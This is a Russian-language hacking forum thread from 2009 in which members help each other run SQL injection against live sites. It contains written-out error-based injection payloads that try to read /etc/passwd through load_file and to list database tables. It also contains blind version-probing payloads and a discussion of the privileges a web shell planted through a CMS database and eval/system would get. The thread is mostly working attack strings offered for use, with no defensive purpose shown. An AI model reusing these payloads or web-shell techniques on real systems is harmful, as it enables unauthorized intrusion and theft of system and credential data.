 |
|
17.11.2009, 12:19
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
Есть инъекция, делаю запрос на load_file и ничего не выходит,
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const(substr(load_file('/etc/passwd'),1),1),name_const(substr(load_file('/etc/passwd'),1),1))a)b/*
Что делаю нетак? двойной запрос..
запрос на просмотр таблиц выглядит так:
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1),name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1))a)b/*
Последний раз редактировалось M1ks; 17.11.2009 в 12:23..
|
|
|
17.11.2009, 12:43
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами:
11020706
Репутация:
4693
|
|
M1ks, а таблицы то выводятся?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
17.11.2009, 12:47
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами:
11020706
Репутация:
4693
|
|
Значит прав нет. (FILE_PRIV = N ?)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
17.11.2009, 13:01
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от M1ks
Что делаю нетак?
Ты нифига не читаешь. Даже мою подпись 
двойной запрос, лоад_файл....
У меня возле компьютера стоит чашка с кофе, почему телефон не звонит, ведь сигареты кончились?
|
|
|
|
17.11.2009, 18:05
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами:
8717851
Репутация:
90
|
|
Собственно интересует вопрос по разграничению прав не веб-сервере.
Какие права присваиваются например веб-шеллу который исполняется по средствам например eval, т.е. например есть CMS через которую можно добавить какую-либо запись на сайт, и она записывается в БД к примеру так
Код:
----------------------------------------------
| id | author | text |
----------------------------------------------
| 22 | joker1 | <?phpinfo()?> |
----------------------------------------------
ну и выводится так:
PHP код:
<html>
<head>
</head>
<body>
<?php
// запрос к БД который получение данных например
// в массив и импортированный например extract() и вот на выходе имеется
?>
<br>автор: <?php echo $id; ?>
<br>текст:</br>
<?php echo $text; ?>
</body>
</html>
ну или подобный вариант с eval только вывод будет немного иначе.
ну и соответственно что динамически присваивается id и доступен по адресу например index?id=[num]
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777 |
|
|
|
17.11.2009, 19:54
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
вобще-то:
права пользователя, от имени которого запущен веб-сервер.
Исключения - при использовании suexec и т.п.
Быть может ты хотел узнать кто будет владельцем файла и я не так истолковал твой вопрос?))
|
|
|
|
17.11.2009, 20:17
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
Сообщение от Aртем
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777
эм права у чего? ты о чем? у index.php нет прав. ты путаешь права пользователя на доступ(чтение, запись, исполнение) к файлам и аттрибуты файла показывающие каким пользователям разрешен доступ(чтение, запись, исполнение) к файлу.
и вообще почитай как-нибудь книгу о *nix'ax.
как я понял вопрос - так я на него и ответил
|
|
|
|
17.11.2009, 22:13
|
|
Новичок
Регистрация: 12.11.2009
Сообщений: 20
С нами:
8681832
Репутация:
0
|
|
Что скажите по этой ошибке? Похоже какая-то проблема со скобками?
Couldn't execute query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1))' at line 1
так нормально
...id=36+and+1=0
так ошибка
...id=36+and+1=0+union+select+1
|
|
|
|
17.11.2009, 22:19
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
попробуй так:
...id=36+and+1=0+and+substring(version(),1,1)=5
...id=36+and+1=0+and+substring(version(),1,1)=4
...id=36+and+1=0+and+substring(version(),1,1)=3
плюс различные фильтры "--+", "/*", "#" (версию выясни для начала)
|
|
|
|
17.11.2009, 22:29
|
|
Новичок
Регистрация: 12.11.2009
Сообщений: 20
С нами:
8681832
Репутация:
0
|
|
Сообщение от Pashkela
попробуй так:
...id=36+and+1=0+and+substring(version(),1,1)=5
...id=36+and+1=0+and+substring(version(),1,1)=4
...id=36+and+1=0+and+substring(version(),1,1)=3
плюс различные фильтры "--+", "/*", "#" (версию выясни для начала)
тогда вот так...
id=36+and+substring(version(),1,1)=5
версия 5
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
